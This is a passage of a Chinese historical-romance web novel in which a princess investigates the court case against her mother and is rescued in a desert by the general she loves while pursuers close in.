听见最后一句,孤山千灵伸出的手僵在空中。
柳榴似乎知道了她为何来要案牍……
孤山千灵没给什么反应,毅然接过。其实她始终不懂:
母妃一个后宫女子,为何要跑到户部衙署去伤害周辅恩?
孤山千灵沉思着,转身正欲离开,柳榴的声音突然从背后响起。
很急似:“宫眷私碰朝廷案牍乃重罪!”
“公主……”
“您记得藏好,切勿声张。”
尾音逐渐消弥,孤山千灵动作一滞,而后,继续往前走。
柳榴看着孤山千灵的背影。
没想到,等门帘终于被掀起时,她会再次停下脚步……
“谢谢。”
弱光透过布隙,勾勒出孤山千灵精巧的侧脸。
柳榴盯着那双幻如琥珀的眼眸,不知过了多久,门帘停止晃荡。
她才回声:“不客气……”
很轻很淡的一句,带着很浅很软的笑。
*
出了阙天处,孤山千灵越想越不对劲。
阿吾明明说过母妃是被冤枉的。
可到了柳榴这儿,母妃却被笃定成凶手。
既如此,有没有可能……
杀害周辅恩的另有其人,而母妃,不过是只替罪羊罢!
他们想逼迫母妃认下这桩罪,奈何母妃不愿,于是他们将她抓入天牢,妄图屈打成招。
只是谁也不会料到,母妃后来出逃……
孤山千灵一时想起那晚。
是天牢几乎被火光吞没的那晚,也是姬存在山洞里泪眼婆娑的那晚。
不由愕然。
什么都对上了。
她下意识想抽出案牍,可在即将碰到卷页时,一阵孩童的笑声传来,打断了思绪。
孤山千灵匆忙收回手,抬眼,发现那人竟是——
本应在今日病逝的卜童!
“姐姐!”忽如其来的一声,几乎要将孤山千灵吓晕。
小孩生龙活虎,蹦着跳着离她越来越近……
她打量着卜童,小心开口:“你的烧,退了?”
“嗯!我现在身上一点也不烫,多亏了帅哥哥呢。”卜童笑着,右眼似绽了朵霜花,银亮生艳。
“帅,哥哥?”孤山千灵疑惑。
卜童兴冲冲拉过她的手:“就是昨天将我带走的沈,沈……”
像被什么难住似,卜童话锋一转,仰头问孤山千灵:
“姐姐,他是不是什么很厉害的人物啊?我听大家都喊他将,军。”
闻言,孤山千灵的眼神微微一震。
卜童引她坐到假石上,继续道:“他身边围着的皆是下属,好威风啊!”话半,卜童疑惑起来,“可他怎么还……”
“亲自给我换水,哄我睡觉?!”卜童撇了撇嘴,嘟囔:“之前,暮公子身边也围着一群人,他可从不干这些。”
说着,卜童似乎看见伏靠在床头,累得睡过去的沈自寒:“我问帅哥哥‘您为什么要抢了下人们的活来照顾我?’”
“他回答——”卜童压低声音,猛地踮起脚:
“‘小屁孩,因为我要追你娘!’”
似曾相识的墨瞳乍然对上孤山千灵,她提了口气,瞬间弹开身子。
“姐姐,我学得可像了。”笑声响起,墨瞳孩子气地弯起来,孤山千灵才回神,僵僵扬起嘴角。
卜童放缓语速,低下头:“可我记得暮公子说过,我生来便没有爹娘……”
他像又想到什么,渴盼地看向孤山千灵:“姐姐,如果我有娘,她也会像帅哥哥那样对我,给我肉吃,允许我不跟虫子睡吗?”
陌生的字眼犹如钝刀,孤山千灵看着卜童,再度浮现于面前的,忽儿是姬存,忽儿又是自己,是被带走的姬存,亦是终被姬存抛下的自己……
孤山千灵心中莫名扭痛,她捏了捏卜童的脸颊,声音不觉哽咽。
“当然会啊!”孤山千灵笑起来,故作轻松道。
奈何卜童的眸子亮了又暗,孤山千灵看穿他的失落,伸手一根尾指:“我保证,哪怕你没有妈妈了,也不会再饿肚子,再被虫子咬。”
闻言,卜童倏地抬眼,勾上孤山千灵尾指,悦声:“嗯!”
就在两根姆指即将印合时,熟悉的声音响起:“小卜——”
孤山千灵眸底黑沉,先卜童一步听出来人是沈自寒。
她利落松开卜童的手:“姐姐再来找你!”
“诶,可我们还没完成……”卜童下意识想追,却见那背影快得一溜烟似。
他停住脚步,失落地耸拉下嘴角,自语:“拉钩的仪式呢。”
与此同时,沈自寒喘着气,终于找到卜童。
“你怎么能乱跑呢?”他不禁指责,没曾想,眼前这小屁孩只巴巴望着别处,对他的话置若罔闻。
沈自寒走近卜童,有些生气:“你看什么呢?”
卜童飘来句:“看漂亮姐姐呀!”
沈自寒疑惑:“漂亮姐姐?”
卜童再次飘来句:“就是让你带走我的漂亮姐姐呀。”
闻言,沈自寒一愣,不过几秒,脸色逐渐发白。
“呯——”
闷响何起?
另头,回到栖瑶殿的孤山千灵背靠大门,心脏几乎跳出来。
她像只落荒而逃的兔子,劫后余生般,大口大口喘息着。
她眼神不安地扫视而去,须臾,像是想到什么,匆忙翻找起衣衫。
直至手指触碰到纸页……
孤山千灵微顿,再次紧握手中的案牍,她走向案桌,用另一只手挑起灯芯。
火光在昏暗中摇曳,班班落于被揉皱的纸张。
孤山千灵比对着上面的每一行,发现大体情况与柳榴所述无二。
只是……
她眉头紧锁。
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母妃被定罪的证据很不充分,几乎只是阿吾那一面之词。
如此潦草便能定罪……
这其中,定然有鬼!
孤山千灵沉思着,想到先前曹谦口中的禧宁王府被拉去当害死姬存的替罪羊;
又想到如今,案牍上明晃晃的姬存害死周辅恩,不由胆寒。
她咽了下喉咙。
起先的猜想在此刻得到印证:
曹谦与禧宁王府是害死姬存的替罪羊,而姬存,姬存则是……
瞳孔逐渐被瞪大,孤山千灵喃喃张口,一字一句战栗着:
“害死周辅恩的替罪羊。”
环环,相扣。
烛光映落羽睫,在悠长的静默中颤抖。
她盯着黑字,悄然出神。
从禧宁王府到姬存,又从姬存到周辅恩……
一路循果求因。
那么再周辅恩之前,是什么?
孤山千灵决计追根溯源。
念柳榴曾说,周辅恩任职两朝,乃前朝重臣。
于是她翻阅起前朝纪事,发现周辅恩所站的前朝太子孤山侯与当朝皇帝孤山冕宁——三皇子并不对付。
上述:太初年间,先帝孱弱,宦官权重,大京内忧外患。
彼时,除境外漠北都域使拥兵自重,勾结敌国,动乱大京外,还有境内,淮河堰,濮河堰溃堤,徐州、洛州、兖州三地大水,4万9千余家遭淹,淹毙6万余人。
孤山侯一党质疑三个月前刚完工的淮河堰、濮河堰尚牢固,不可能被冲毁,要求彻查两州刺史是否贪污工款。
除此之外,他们以周辅恩为代表,顺势联合前丞相沈无言提出州官革新。
恰时澹州刺史赵诀乃孤山冕宁一党中宦官赵窦之弟,为保亲稳党,孤山冕宁以“革新”为由诬陷周辅恩、沈无言等人欲夺民意挟天子,狼子野心,作乱朝前。
双方就此事争论不休,直至请缨漠北的孤山候造反失败才有定数,之后……
“之后……”
孤山千灵又翻开一卷,却发现,只是空白。
之后的澹州怎么样了?
之后的孤山候,之后的周辅恩,之后的沈无言呢?
恶人就这样得偿所愿了吗?
孤山千灵丧气地扔开竹卷,不禁想到当今的皇帝,从前的三皇子……
心中隐隐忐忑。
肃清旧党,向来是新帝即位后的头等大事。
她骤然意识到,在朝廷之争中分黑白是可笑的。
于是,缓缓起身,火光被动静中的风扑灭。
等再度发亮时,已是白日攀上树梢。
一句“保重”,孤山千灵背向小圆,上了去往澹州的马车。
马车在小圆眼中逐渐缩成个小点,她迈回殿内,即将转身关殿门时,一绺矮矮的黑影从她身后蹿入栖瑶殿。
“姐姐,漂亮姐……啊——”
吃痛声响,卜童从瓶瓶罐罐中坐起身子。
他揉着脑袋,鼓起腮帮子,埋怨:“早知道就不溜进来了,没找到漂亮姐姐不说,还摔了个……”
“公主!”话音未落,门口传来道呼喊。
卜童抬眼,与神色紧张的沈自寒面面相觑。
二人几乎同时道:“怎么是你?!”
沈自寒脸红着咳了二声,恢复严肃脸:“我来找公主!”
卜童一脸冷淡,理所当然地看着他:“就许你找?”
沈自寒双手叉腰,自信挑眉:“当然,你可说过自己不会再乱跑!”
“来找漂亮姐姐,哪里算乱跑?”卜童变得有些激动,连忙爬起身。
他昂头看向沈自寒,正想也叉腰时,忽然发现有宫女朝这边来着。
于是,连忙跑上前,问:“姐姐,你知道公主在哪吗?”
“公主?”宫女奇怪,“她大早就去了澹州啊。”
“澹州……”
很沉很轻的一声传来。
卜童回头,看见沈自寒不知何时走到了那堆瓶瓶罐罐旁。
被摔开的精美匣子之上,沈自寒半跪着,低头垂眸,他眼底幽光流转,掌心久久躺着株桃花枝。
彼时,盘旋的山路缠绕绿崖,一辆马车正从葱郁中穿出。
“公主,山匪素爱此地筑窝,可您别担心,过了这路,澹州就在前面。”车夫扭头朝车厢内禀报。
孤山千灵掀起一角帘子又放下,心跳声随着滚滚车轱辘,作响耳畔。
当年的水患之地离自己,咫尺之近了。
那她想知道的呢……
会如愿吗。
22. 恨爱两重心难明
孤山千灵睁大眼。
凛冽的风从耳边呼啸吹过,吻化进心底烫得她眉心猛而皱起。
为什么……
为什么沈自寒还要这样对她?
泪水蓄满眼眶。
孤山千灵不懂。
为什么要回来找她,又为什么要救她?
明明,明明他已经背叛又欺骗过她了啊……
明明,明明他们已经分道扬镳了的……
孤山千灵攥紧沈自寒衣衫的手指越发苍白。
恐惧、苦涩、委屈,连同曾经覆水难收的爱意如潮水席卷而来,她认命似闭上眼。
报复般,用力地咬上去,掺着又咸又凉的泪珠……
血腥味在齿缝间蔓延,孤山千灵喘着气松开。
湿透的额发轻轻扬起,她瞪向沈自寒,双眼通红:“我恨你。”
这句话过后,风大口大口灌入喉咙,像烈酒浇灭了话,浇得心生疼。
沈自寒被刺了下似,对上孤山千灵倔强又脆弱的视线,心脏被狠狠揪住。
将人搂得更紧,低头用鼻子轻轻蹭她的额头,深吸口气,哽咽着颤声:“好。”
听见这个回答,孤山千灵只觉得任何任何都决堤了,她疯狂摇起头,眼泪再无法控制,双手攀上沈自寒的肩,仰脖而去。
霞光万丈,沈自寒的瞳孔受宠若惊般扩散。
二人相吻着,夕阳就这么与飞沙勾勒出来之不易的,转瞬即逝的,美好到几乎天崩地裂的宁静。
——有那么一刻,我以为我失去了爱你的权利
——不,你没有
……
宁静很快被身后射来的箭打破,沈自寒顷身压下孤山千灵躲过。
他回头,发现厉抓着弓,目光如炬。
于是沈自寒拉过孤山千灵的手覆到僵绳上,他说:“你相信我吗?”
孤山千灵看着沈自寒严肃的眼神,有些懵。
“我……”
“看见漠丘上那个点了吗?”
孤山千灵顺着沈自寒所指的方向望去,点头。
“好。”
“什,么!”
尘沙滚起,马首一昂,孤山千灵惊愕地抓紧缰绳,回头。
沈自寒在沙坡地上放下护住头部的手,霞出那张沾了点沙粒,却依旧灿烂的笑脸:“打个赌,我们看谁先到!”
他挑眉,未及孤山千灵反应,便朝马屁股扔出颗石子。
马吃痛高吁,颠着孤山千灵就要跑。
“不,沈自寒,沈自寒——”孤山千灵下意识伸出手,又慌又急,她无法接受他离自己而去,她不能再推开他,她不能!!
可随着马急转弯,孤山千灵只能眼睁睁看着失而复得的爱人,与穷追不舍的敌人相并而去,就此消失。
而自己,只有一个未知,却不得不履行的约定。
孤山千灵抹着泪,风无数次扑向她的脸,她也无数次想回头。
可她还是握紧缰绳,不断告诉自己,必须快点,再快点。
这一次,她要将她的爱人紧紧抓住,永远抓牢……
谁也不能再将他们分离,哪怕是她自己!!
进入北疆的漠域,夜晚渐凉,马也瑟缩不肯前进,站在地上的孤山千灵搓搓手,哈出口白气,再次握紧绳索。
用力,马儿它依旧不挪分毫,反而生气似哼哼撒声。
“以后就叫你娇气鬼!”孤山千灵甩掉绳索,又摊开掌心,发现原本白嫩的皮肤上多了两道红痕。
不觉涌起股想哭的冲动。
可她记得自己应该不是爱哭的人啊。
肚子恰在此时响起一串动静,孤山千灵深深吸了口气,调整好情绪后决心撸起袖子,绕到马屁股后面,推着马走!
“想要走出这片漠域不知多远呢,我和沈将军后面还得仰仗你马大哥啊,抬抬脚吧。”孤山千灵耸拉着个见了鬼的哭丧脸,用尽九牛二虎之力。
马儿扬扬蹄,似乎听懂了,倒没再为难她,索性一股作气。
“吁——”地,就将孤山千灵抛在屁股后,爬上了沙丘至高点。
待孤山千灵气喘吁吁终于来到时,她惊奇发现,此处居然有个破败的大帐。
估计是过往商队们留下的。
没想多,孤山千灵连忙用帐里找出的刀石和枯枝生了火。
焰光跃在她眼前噼里啪啦,孤山千灵望向帐外墨海一般的大漠,心中不安起来。
她摇摇头,像把什么甩出去,又抬头。
透过帐破掉的角,一颗星,两颗星,三颗星……
不不不,沈自寒还是没来!
她再也无法控制住心中乱想,正想走出大帐时,外面忽然响起一阵猝不及防的马叫,又猝不及防地消失。
——黑影随之贴着帐上闪过。
孤山千灵瞬间警戒起来,因为戛然而止的马叫……
难说是马出事了,要么因敌方害怕打草惊蛇而弄死,要么被野怪发现欣喜若狂而咬死。
若是看到主人,马怎会如此反常?
她挑了根大粗枝,小心翼翼地走出帐子,却发现周围一片黑与寂。
孤山千灵的呼吸急重起来,胸脯连带着起伏,忽然,身后有响动。
“啪——”
黄沙四散,什么也没有……
孤山千灵顿了顿,立马回头,眼前猛地黑了,她被人抓住!
死死扼住手脚,耳边骤然传来一声:“你又想打我?”
是夏侯自寒?!
不,是沈自寒!!
覆着双眼的手放下,沈自寒笑着出现在她面前。
头发乱了,脸脏了,身上,伤了!
孤山千灵心口狠颤。
一下抱上去。
泪水再次控制不住地溢出,她抵着沈自寒的肩膀抹泪,心想,自己真的不是个爱哭鬼啊。
“公主。”沈自寒眸中闪过明亮的笑意,旋即化软,羽睫下覆着片浮动的阴影。
他闭眼,紧紧搂住孤山千灵,像搂住此生最珍贵的宝物:
“我……”
“你受伤了。”
轻而易举的一句话,不费吹灰之力就
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能击溃沈自寒。
“疼吗?”孤山千灵压着哭腔闷声问。
沈自寒拧住眉,难受得几乎窒息,他轻吸口气,贴着孤山千灵的耳朵,哑声:“疼,疼死了……”
“疼,我看看!”孤山千灵紧张地推开他,想着必须以包扎伤口为重。
却没想对上的是,沈自寒那张大咧咧,无所谓的笑脸。
他的笑淌在夜风中有种诡艳无暇的美感:“你推我,我更疼了。”
“不如我们再多抱会,总疼轻些?”
沈自寒眼角弯弯闪泪光,不知是疼哭的,还是笑哭的。
总之落在孤山千灵眼里,是“闲”哭的!
她气得拍了下沈自寒,头也不回进帐子:“疼死你得了,爱笑鬼!”
“嘶——”沈自寒捂住伤口,这会儿真疼了,他顾不上,一个劲忙跟在孤山千灵身后:“公主不喜欢爱笑鬼,那我往后只当爱哭鬼好了!”
看着蹦哒到眼前摆哭脸的沈自寒,孤山千灵破涕为笑。
她一手拿着找到的药,一手轻轻掐起沈自寒的脸颊肉:
“本公主,讨,厌,你。”
“噗嗤!”沈自寒轻笑出声。
他抓住孤山千灵的手,将照常俊美的脸蛋送去,轻轻蹭道:
“没关系,喜,欢,您。”
“你!”
孤山千灵耳根红了,施力一扇。
“公主……”沈自寒委屈抬眼,没曾想对上个无情背影。
他看孤山千灵赌气地走向木箱,心下不禁笑道:“扇得好。”
可还是装作内心受伤的可怜样。
从上完药到躺下床,他和孤山千灵隔着几个破箱子相向而眠。
那句喜欢不断回荡在空中,直至孤山千灵睡着,四周终于恢复沉寂。
沈自寒凝望夜空,他想,自己已然在做梦了。
天上的星星一明一暗,身旁的呼吸一深一浅……
倘若此刻可以长些,长些,再长些,那该多好。
困意压得人昏昏沉沉,他像个孩子似顽强抵抗。
他害怕,梦会在睁眼时破灭。
可划开梦境与现实的,也许从不是第一缕晨光,而是又一支利箭。
看着历带领人马朝自己逼近,沈自寒握住孤山千灵的手,脸色沉下几分。
“就你们聪明?我们也会兵分两路。”历说道,勾勾手指。
另一队人马围上娇气鬼的屁股。
他们被包抄了。
孤山千灵看去,后缩进沈自寒怀里,发觉战栗的五指被徒然握紧。
她听见沈自寒低语:“愿不愿意……”
“再相信我一次?”
孤山千灵扭头对上他的眼,像在确认什么,不带分毫迟疑。
很快,泪水漠糊了视线,眉间拧得难受。
她将手搭到沈自寒握绳的手上,声音哽咽而用力:“愿意。”
“去天涯海角也愿意……”她轻声补道。
像那个他曾说过要将她带走的夜晚。
无畏、无悔。